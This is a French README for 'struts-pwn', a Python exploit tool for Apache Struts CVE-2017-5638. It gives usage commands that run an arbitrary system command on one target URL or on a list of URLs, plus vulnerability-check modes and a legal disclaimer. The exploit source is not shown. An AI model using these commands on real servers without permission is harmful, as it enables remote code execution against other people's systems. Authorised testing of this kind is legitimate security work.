struts-pwn

Un exploit pour Apache Struts CVE-2017-5638

Utilisation

Test d'une seule URL.

python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'

Test d'une liste d'URLs.

python struts-pwn.py --list 'urls.txt' -c 'id'

Vérification de l'existence de la vulnérabilité sur une seule URL.

python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'

Vérification de l'existence de la vulnérabilité sur une liste d'URLs.

python struts-pwn.py --check --list 'urls.txt'

Prérequis

• Python2 ou Python3
• requests

Avertissement légal

Ce projet est conçu uniquement à des fins éducatives et de tests éthiques. L'utilisation de struts-pwn pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce programme.

Licence

Le projet est sous licence MIT.

Auteur

Mazin Ahmed

• Site web : https://mazinahmed.net
• E-mail : mazin AT mazinahmed DOT net
• Twitter : https://twitter.com/mazen160
• LinkedIn : http://linkedin.com/in/infosecmazinahmed